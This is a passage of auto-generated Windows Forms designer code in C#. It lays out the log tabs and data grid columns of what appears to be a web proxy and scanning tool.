this.LogTabs.Controls.Add(this.ProxyLogTab); - this.LogTabs.Controls.Add(this.ScanLogTab); - this.LogTabs.Controls.Add(this.TestLogTab); - this.LogTabs.Controls.Add(this.ShellLogTab); - this.LogTabs.Controls.Add(this.ProbeLogTab); - this.LogTabs.Controls.Add(this.OtherLogTab); - this.LogTabs.Controls.Add(this.SiteMapLogTab); - this.LogTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogTabs.Location = new System.Drawing.Point(0, 0); - this.LogTabs.Margin = new System.Windows.Forms.Padding(0); - this.LogTabs.Name = "LogTabs"; - this.LogTabs.Padding = new System.Drawing.Point(0, 0); - this.LogTabs.SelectedIndex = 0; - this.LogTabs.Size = new System.Drawing.Size(705, 180); - this.LogTabs.TabIndex = 0; - this.LogTabs.SelectedIndexChanged += new System.EventHandler(this.LogTabs_SelectedIndexChanged); - // - // ProxyLogTab - // - this.ProxyLogTab.Controls.Add(this.ProxyLogGrid); - this.ProxyLogTab.Location = new System.Drawing.Point(4, 22); - this.ProxyLogTab.Margin = new System.Windows.Forms.Padding(0); - this.ProxyLogTab.Name = "ProxyLogTab"; - this.ProxyLogTab.Size = new System.Drawing.Size(697, 154); - this.ProxyLogTab.TabIndex = 3; - this.ProxyLogTab.Text = " Proxy Logs "; - this.ProxyLogTab.UseVisualStyleBackColor = true; - // - // ProxyLogGrid - // - this.ProxyLogGrid.AllowUserToAddRows = false; - this.ProxyLogGrid.AllowUserToDeleteRows = false; - this.ProxyLogGrid.AllowUserToOrderColumns = true; - this.ProxyLogGrid.AllowUserToResizeRows = false; - this.ProxyLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ProxyLogGrid.BackgroundColor = System.Drawing.Color.White; - this.ProxyLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle10.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle10.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle10.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle10.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle10.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ProxyLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle10; - this.ProxyLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ProxyLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ProxyLogGridColumnForID, - this.ProxyLogGridColumnForHostName, - this.ProxyLogGridColumnForMethod, - this.ProxyLogGridColumnForURL, - this.ProxyLogGridColumnForFile, - this.ProxyLogGridColumnForSSL, - this.ProxyLogGridColumnForParameters, - this.ProxyLogGridColumnForCode, - this.ProxyLogGridColumnForLength, - this.ProxyLogGridColumnForMIME, - this.ProxyLogGridColumnForSetCookie, - this.ProxyLogGridColumnForEdited, - this.ProxyLogGridColumnForNotes}); - this.ProxyLogGrid.ContextMenuStrip = this.LogMenu; - this.ProxyLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ProxyLogGrid.GridColor = System.Drawing.Color.White; - this.ProxyLogGrid.Location = new System.Drawing.Point(0, 0); - this.ProxyLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.ProxyLogGrid.MultiSelect = false; - this.ProxyLogGrid.Name = "ProxyLogGrid"; - this.ProxyLogGrid.ReadOnly = true; - this.ProxyLogGrid.RowHeadersVisible = false; - this.ProxyLogGrid.RowHeadersWidth = 10; - this.ProxyLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ProxyLogGrid.Size = new System.Drawing.Size(697, 154); - this.ProxyLogGrid.TabIndex = 2; - this.ProxyLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogGrid_CellClick); - // - // ProxyLogGridColumnForID - // - this.ProxyLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForID.HeaderText = "ID"; - this.ProxyLogGridColumnForID.MinimumWidth = 50; - this.ProxyLogGridColumnForID.Name = "ProxyLogGridColumnForID"; - this.ProxyLogGridColumnForID.ReadOnly = true; - this.ProxyLogGridColumnForID.Width = 50; - // - // ProxyLogGridColumnForHostName - // - this.ProxyLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForHostName.HeaderText = "HOSTNAME"; - this.ProxyLogGridColumnForHostName.Name = "ProxyLogGridColumnForHostName"; - this.ProxyLogGridColumnForHostName.ReadOnly = true; - this.ProxyLogGridColumnForHostName.Width = 120; - // - // ProxyLogGridColumnForMethod - // - this.ProxyLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForMethod.HeaderText = "METHOD"; - this.ProxyLogGridColumnForMethod.Name = "ProxyLogGridColumnForMethod"; - this.ProxyLogGridColumnForMethod.ReadOnly = true; - this.ProxyLogGridColumnForMethod.Width = 60; - // - // ProxyLogGridColumnForURL - // - this.ProxyLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ProxyLogGridColumnForURL.HeaderText = "URL"; - this.ProxyLogGridColumnForURL.MinimumWidth = 150; - this.ProxyLogGridColumnForURL.Name = "ProxyLogGridColumnForURL"; - this.ProxyLogGridColumnForURL.ReadOnly = true; - // - // ProxyLogGridColumnForFile - // - this.ProxyLogGridColumnForFile.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForFile.HeaderText = "FILE"; - this.ProxyLogGridColumnForFile.Name = "ProxyLogGridColumnForFile"; - this.ProxyLogGridColumnForFile.ReadOnly = true; - this.ProxyLogGridColumnForFile.Width = 40; - // - // ProxyLogGridColumnForSSL - // - this.ProxyLogGridColumnForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForSSL.HeaderText = "SSL"; - this.ProxyLogGridColumnForSSL.Name = "ProxyLogGridColumnForSSL"; - this.ProxyLogGridColumnForSSL.ReadOnly = true; - this.ProxyLogGridColumnForSSL.Width = 30; - // - // ProxyLogGridColumnForParameters - // - this.ProxyLogGridColumnForParameters.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.ProxyLogGridColumnForParameters.Name = "ProxyLogGridColumnForParameters"; - this.ProxyLogGridColumnForParameters.ReadOnly = true; - this.ProxyLogGridColumnForParameters.Width = 85; - // - // ProxyLogGridColumnForCode - // - this.ProxyLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForCode.HeaderText = "CODE"; - this.ProxyLogGridColumnForCode.Name = "ProxyLogGridColumnForCode"; - this.ProxyLogGridColumnForCode.ReadOnly = true; - this.ProxyLogGridColumnForCode.Width = 45; - // - // ProxyLogGridColumnForLength - // - this.ProxyLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForLength.HeaderText = "LENGTH"; - this.ProxyLogGridColumnForLength.Name = "ProxyLogGridColumnForLength"; - this.ProxyLogGridColumnForLength.ReadOnly = true; - this.ProxyLogGridColumnForLength.Width = 55; - // - // ProxyLogGridColumnForMIME - // - this.ProxyLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForMIME.HeaderText = "MIME"; - this.ProxyLogGridColumnForMIME.Name = "ProxyLogGridColumnForMIME"; - this.ProxyLogGridColumnForMIME.ReadOnly = true; - this.ProxyLogGridColumnForMIME.Width = 60; - // - // ProxyLogGridColumnForSetCookie - // - this.ProxyLogGridColumnForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.ProxyLogGridColumnForSetCookie.Name = "ProxyLogGridColumnForSetCookie"; - this.ProxyLogGridColumnForSetCookie.ReadOnly = true; - this.ProxyLogGridColumnForSetCookie.Width = 80; - // - // ProxyLogGridColumnForEdited - // - this.ProxyLogGridColumnForEdited.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForEdited.HeaderText = "EDITIED"; - this.ProxyLogGridColumnForEdited.Name = "ProxyLogGridColumnForEdited"; - this.ProxyLogGridColumnForEdited.ReadOnly = true; - this.ProxyLogGridColumnForEdited.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ProxyLogGridColumnForEdited.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.ProxyLogGridColumnForEdited.Width = 60; - // - // ProxyLogGridColumnForNotes - // - this.ProxyLogGridColumnForNotes.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ProxyLogGridColumnForNotes.HeaderText = "NOTES"; - this.ProxyLogGridColumnForNotes.Name = "ProxyLogGridColumnForNotes"; - this.ProxyLogGridColumnForNotes.ReadOnly = true; - this.ProxyLogGridColumnForNotes.Visible = false; - this.ProxyLogGridColumnForNotes.Width = 80; - // - // ScanLogTab - // - this.ScanLogTab.Controls.Add(this.ScanLogGrid); - this.ScanLogTab.Location = new System.Drawing.Point(4, 22); - this.ScanLogTab.Margin = new System.Windows.Forms.Padding(0); - this.ScanLogTab.Name = "ScanLogTab"; - this.ScanLogTab.Size = new System.Drawing.Size(697, 154); - this.ScanLogTab.TabIndex = 0; - this.ScanLogTab.Text = " Scan Logs "; - this.ScanLogTab.UseVisualStyleBackColor = true; - // - // ScanLogGrid - // - this.ScanLogGrid.AllowUserToAddRows = false; - this.ScanLogGrid.AllowUserToDeleteRows = false; - this.ScanLogGrid.AllowUserToOrderColumns = true; - this.ScanLogGrid.AllowUserToResizeRows = false; - this.ScanLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ScanLogGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ScanLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle11; - this.ScanLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ScanLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ScanLogGridColumnForID, - this.ScanLogGridColumnForScanID, - this.ScanLogGridColumnForHost, - this.ScanLogGridColumnForMethod, - this.ScanLogGridColumnForURL, - this.ScanLogGridColumnForFile, - this.ScanLogGridColumnForSSL, - this.ScanLogGridColumnForParameters, - this.ScanLogGridColumnForCode, - this.ScanLogGridColumnForLength, - this.ScanLogGridColumnForMIME, - this.ScanLogGridColumnForSetCookie}); - this.ScanLogGrid.ContextMenuStrip = this.LogMenu; - this.ScanLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanLogGrid.GridColor = System.Drawing.Color.White; - this.ScanLogGrid.Location = new System.Drawing.Point(0, 0); - this.ScanLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanLogGrid.MultiSelect = false; - this.ScanLogGrid.Name = "ScanLogGrid"; - this.ScanLogGrid.ReadOnly = true; - this.ScanLogGrid.RowHeadersVisible = false; - this.ScanLogGrid.RowHeadersWidth = 10; - this.ScanLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanLogGrid.Size = new System.Drawing.Size(697, 154); - this.ScanLogGrid.TabIndex = 6; - this.ScanLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanLogGrid_CellClick); - // - // ScanLogGridColumnForID - // - this.ScanLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForID.HeaderText = "ID"; - this.ScanLogGridColumnForID.MinimumWidth = 50; - this.ScanLogGridColumnForID.Name = "ScanLogGridColumnForID"; - this.ScanLogGridColumnForID.ReadOnly = true; - this.ScanLogGridColumnForID.Width = 50; - // - // ScanLogGridColumnForScanID - // - this.ScanLogGridColumnForScanID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForScanID.HeaderText = "SCAN ID"; - this.ScanLogGridColumnForScanID.MinimumWidth = 60; - this.ScanLogGridColumnForScanID.Name = "ScanLogGridColumnForScanID"; - this.ScanLogGridColumnForScanID.ReadOnly = true; - this.ScanLogGridColumnForScanID.Width = 60; - // - // ScanLogGridColumnForHost - // - this.ScanLogGridColumnForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForHost.HeaderText = "HOSTNAME"; - this.ScanLogGridColumnForHost.Name = "ScanLogGridColumnForHost"; - this.ScanLogGridColumnForHost.ReadOnly = true; - this.ScanLogGridColumnForHost.Width = 120; - // - // ScanLogGridColumnForMethod - // - this.ScanLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForMethod.HeaderText = "METHOD"; - this.ScanLogGridColumnForMethod.Name = "ScanLogGridColumnForMethod"; - this.ScanLogGridColumnForMethod.ReadOnly = true; - this.ScanLogGridColumnForMethod.Width = 60; - // - // ScanLogGridColumnForURL - // - this.ScanLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ScanLogGridColumnForURL.HeaderText = "URL"; - this.ScanLogGridColumnForURL.MinimumWidth = 150; - this.ScanLogGridColumnForURL.Name = "ScanLogGridColumnForURL"; - this.ScanLogGridColumnForURL.ReadOnly = true; - // - // ScanLogGridColumnForFile - // - this.ScanLogGridColumnForFile.HeaderText = "FILE"; - this.ScanLogGridColumnForFile.Name = "ScanLogGridColumnForFile"; - this.ScanLogGridColumnForFile.ReadOnly = true; - // - // ScanLogGridColumnForSSL - // - this.ScanLogGridColumnForSSL.HeaderText = "SSL"; - this.ScanLogGridColumnForSSL.Name = "ScanLogGridColumnForSSL"; - this.ScanLogGridColumnForSSL.ReadOnly = true; - // - // ScanLogGridColumnForParameters - // - this.ScanLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.ScanLogGridColumnForParameters.Name = "ScanLogGridColumnForParameters"; - this.ScanLogGridColumnForParameters.ReadOnly = true; - // - // ScanLogGridColumnForCode - // - this.ScanLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForCode.HeaderText = "CODE"; - this.ScanLogGridColumnForCode.Name = "ScanLogGridColumnForCode"; - this.ScanLogGridColumnForCode.ReadOnly = true; - this.ScanLogGridColumnForCode.Width = 60; - // - // ScanLogGridColumnForLength - // - this.ScanLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForLength.HeaderText = "LENGTH"; - this.ScanLogGridColumnForLength.Name = "ScanLogGridColumnForLength"; - this.ScanLogGridColumnForLength.ReadOnly = true; - this.ScanLogGridColumnForLength.Width = 60; - // - // ScanLogGridColumnForMIME - // - this.ScanLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScanLogGridColumnForMIME.HeaderText = "MIME"; - this.ScanLogGridColumnForMIME.Name = "ScanLogGridColumnForMIME"; - this.ScanLogGridColumnForMIME.ReadOnly = true; - this.ScanLogGridColumnForMIME.Width = 70; - // - // ScanLogGridColumnForSetCookie - // - this.ScanLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.ScanLogGridColumnForSetCookie.Name = "ScanLogGridColumnForSetCookie"; - this.ScanLogGridColumnForSetCookie.ReadOnly = true; - // - // TestLogTab - // - this.TestLogTab.Controls.Add(this.TestLogGrid); - this.TestLogTab.Location = new System.Drawing.Point(4, 22); - this.TestLogTab.Margin = new System.Windows.Forms.Padding(0); - this.TestLogTab.Name = "TestLogTab"; - this.TestLogTab.Size = new System.Drawing.Size(697, 154); - this.TestLogTab.TabIndex = 1; - this.TestLogTab.Text = " Test Logs "; - this.TestLogTab.UseVisualStyleBackColor = true; - // - // TestLogGrid - // - this.TestLogGrid.AllowUserToAddRows = false; - this.TestLogGrid.AllowUserToDeleteRows = false; - this.TestLogGrid.AllowUserToOrderColumns = true; - this.TestLogGrid.AllowUserToResizeRows = false; - this.TestLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.TestLogGrid.BackgroundColor = System.Drawing.Color.White; - this.TestLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle12.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle12.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle12.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle12.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle12.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle12.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.TestLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle12; - this.TestLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.TestLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.MTLogGridColumnForID, - this.MTLogGridColumnForHostName, - this.MTLogGridColumnForMethod, - this.MTLogGridColumnForURL, - this.MTLogGridColumnForFile, - this.MTLogGridColumnForSSL, - this.MTLogGridColumnForParameters, - this.MTLogGridColumnForCode, - this.MTLogGridColumnForLength, - this.MTLogGridColumnForMIME, - this.MTLogGridColumnForSetCookie}); - this.TestLogGrid.ContextMenuStrip = this.LogMenu; - this.TestLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.TestLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.TestLogGrid.GridColor = System.Drawing.Color.White; - this.TestLogGrid.Location = new System.Drawing.Point(0, 0); - this.TestLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.TestLogGrid.MultiSelect = false; - this.TestLogGrid.Name = "TestLogGrid"; - this.TestLogGrid.ReadOnly = true; - this.TestLogGrid.RowHeadersVisible = false; - this.TestLogGrid.RowHeadersWidth = 10; - this.TestLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.TestLogGrid.Size = new System.Drawing.Size(697, 154); - this.TestLogGrid.TabIndex = 4; - this.TestLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.MTLogGrid_CellClick); - // - // MTLogGridColumnForID - // - this.MTLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForID.HeaderText = "ID"; - this.MTLogGridColumnForID.MinimumWidth = 50; - this.MTLogGridColumnForID.Name = "MTLogGridColumnForID"; - this.MTLogGridColumnForID.ReadOnly = true; - this.MTLogGridColumnForID.Width = 50; - // - // MTLogGridColumnForHostName - // - this.MTLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForHostName.HeaderText = "HOSTNAME"; - this.MTLogGridColumnForHostName.Name = "MTLogGridColumnForHostName"; - this.MTLogGridColumnForHostName.ReadOnly = true; - this.MTLogGridColumnForHostName.Width = 120; - // - // MTLogGridColumnForMethod - // - this.MTLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForMethod.HeaderText = "METHOD"; - this.MTLogGridColumnForMethod.Name = "MTLogGridColumnForMethod"; - this.MTLogGridColumnForMethod.ReadOnly = true; - this.MTLogGridColumnForMethod.Width = 60; - // - // MTLogGridColumnForURL - // - this.MTLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.MTLogGridColumnForURL.HeaderText = "URL"; - this.MTLogGridColumnForURL.MinimumWidth = 150; - this.MTLogGridColumnForURL.Name = "MTLogGridColumnForURL"; - this.MTLogGridColumnForURL.ReadOnly = true; - // - // MTLogGridColumnForFile - // - this.MTLogGridColumnForFile.HeaderText = "FILE"; - this.MTLogGridColumnForFile.Name = "MTLogGridColumnForFile"; - this.MTLogGridColumnForFile.ReadOnly = true; - // - // MTLogGridColumnForSSL - // - this.MTLogGridColumnForSSL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForSSL.HeaderText = "SSL"; - this.MTLogGridColumnForSSL.Name = "MTLogGridColumnForSSL"; - this.MTLogGridColumnForSSL.ReadOnly = true; - this.MTLogGridColumnForSSL.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.MTLogGridColumnForSSL.Width = 30; - // - // MTLogGridColumnForParameters - // - this.MTLogGridColumnForParameters.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForParameters.HeaderText = "PARAMETERS"; - this.MTLogGridColumnForParameters.Name = "MTLogGridColumnForParameters"; - this.MTLogGridColumnForParameters.ReadOnly = true; - this.MTLogGridColumnForParameters.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.MTLogGridColumnForParameters.Width = 90; - // - // MTLogGridColumnForCode - // - this.MTLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForCode.HeaderText = "CODE"; - this.MTLogGridColumnForCode.Name = "MTLogGridColumnForCode"; - this.MTLogGridColumnForCode.ReadOnly = true; - this.MTLogGridColumnForCode.Width = 60; - // - // MTLogGridColumnForLength - // - this.MTLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForLength.HeaderText = "LENGTH"; - this.MTLogGridColumnForLength.Name = "MTLogGridColumnForLength"; - this.MTLogGridColumnForLength.ReadOnly = true; - this.MTLogGridColumnForLength.Width = 60; - // - // MTLogGridColumnForMIME - // - this.MTLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForMIME.HeaderText = "MIME"; - this.MTLogGridColumnForMIME.Name = "MTLogGridColumnForMIME"; - this.MTLogGridColumnForMIME.ReadOnly = true; - this.MTLogGridColumnForMIME.Width = 70; - // - // MTLogGridColumnForSetCookie - // - this.MTLogGridColumnForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.MTLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; - this.MTLogGridColumnForSetCookie.Name = "MTLogGridColumnForSetCookie"; - this.MTLogGridColumnForSetCookie.ReadOnly = true; - this.MTLogGridColumnForSetCookie.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; - this.MTLogGridColumnForSetCookie.Width = 80; - // - // ShellLogTab - // - this.ShellLogTab.Controls.Add(this.ShellLogGrid); - this.ShellLogTab.Location = new System.Drawing.Point(4, 22); - this.ShellLogTab.Margin = new System.Windows.Forms.Padding(0); - this.ShellLogTab.Name = "ShellLogTab"; - this.ShellLogTab.Size = new System.Drawing.Size(697, 154); - this.ShellLogTab.TabIndex = 2; - this.ShellLogTab.Text = " Shell Logs "; - this.ShellLogTab.UseVisualStyleBackColor = true; - // - // ShellLogGrid - // - this.ShellLogGrid.AllowUserToAddRows = false; - this.ShellLogGrid.AllowUserToDeleteRows = false; - this.ShellLogGrid.AllowUserToOrderColumns = true; - this.ShellLogGrid.AllowUserToResizeRows = false; - this.ShellLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ShellLogGrid.BackgroundColor = System.Drawing.Color.White; - this.ShellLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle13.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle13.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle13.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ShellLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13; - this.ShellLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.ShellLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ScriptingLogGridColumnForID, - this.ScriptingLogGridColumnForHostName, - this.ScriptingLogGridColumnForMethod, - this.ScriptingLogGridColumnForURL, - this.ScriptingLogGridColumnForFile, - this.ScriptingLogGridColumnForSSL, - this.ScriptingLogGridColumnForParameters, - this.ScriptingLogGridColumnForCode, - this.ScriptingLogGridColumnForLength, - this.ScriptingLogGridColumnForMIME, - this.ScriptingLogGridColumnForSetCookie}); - this.ShellLogGrid.ContextMenuStrip = this.LogMenu; - this.ShellLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ShellLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ShellLogGrid.GridColor = System.Drawing.Color.White; - this.ShellLogGrid.Location = new System.Drawing.Point(0, 0); - this.ShellLogGrid.Margin = new System.Windows.Forms.Padding(0); - this.ShellLogGrid.MultiSelect = false; - this.ShellLogGrid.Name = "ShellLogGrid"; - this.ShellLogGrid.ReadOnly = true; - this.ShellLogGrid.RowHeadersVisible = false; - this.ShellLogGrid.RowHeadersWidth = 10; - this.ShellLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ShellLogGrid.Size = new System.Drawing.Size(697, 154); - this.ShellLogGrid.TabIndex = 5; - this.ShellLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ShellLogGrid_CellClick); - // - // ScriptingLogGridColumnForID - // - this.ScriptingLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForID.HeaderText = "ID"; - this.ScriptingLogGridColumnForID.MinimumWidth = 50; - this.ScriptingLogGridColumnForID.Name = "ScriptingLogGridColumnForID"; - this.ScriptingLogGridColumnForID.ReadOnly = true; - this.ScriptingLogGridColumnForID.Width = 50; - // - // ScriptingLogGridColumnForHostName - // - this.ScriptingLogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForHostName.HeaderText = "HOSTNAME"; - this.ScriptingLogGridColumnForHostName.Name = "ScriptingLogGridColumnForHostName"; - this.ScriptingLogGridColumnForHostName.ReadOnly = true; - this.ScriptingLogGridColumnForHostName.Width = 120; - // - // ScriptingLogGridColumnForMethod - // - this.ScriptingLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ScriptingLogGridColumnForMethod.HeaderText = "METHOD"; - this.ScriptingLogGridColumnForMethod.Name = "ScriptingLogGridColumnForMethod"; - this.ScriptingLogGridColumnForMethod.ReadOnly = true; - this.ScriptingLogGridColumnForMethod.Width = 60; - // - // ScriptingLogGridColumnForURL - // - this.ScriptingLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ScriptingLogGridColumnForURL.HeaderText = "URL"; - this.ScriptingLogGridColumnForURL.MinimumWidth = 150; - this.ScriptingLogGridColumnForURL.Name = "ScriptingLogGridColumnForURL"; - this.ScriptingLogGridColumnForURL.ReadOnly = true; - // - // ScriptingLogGridColumnForFile 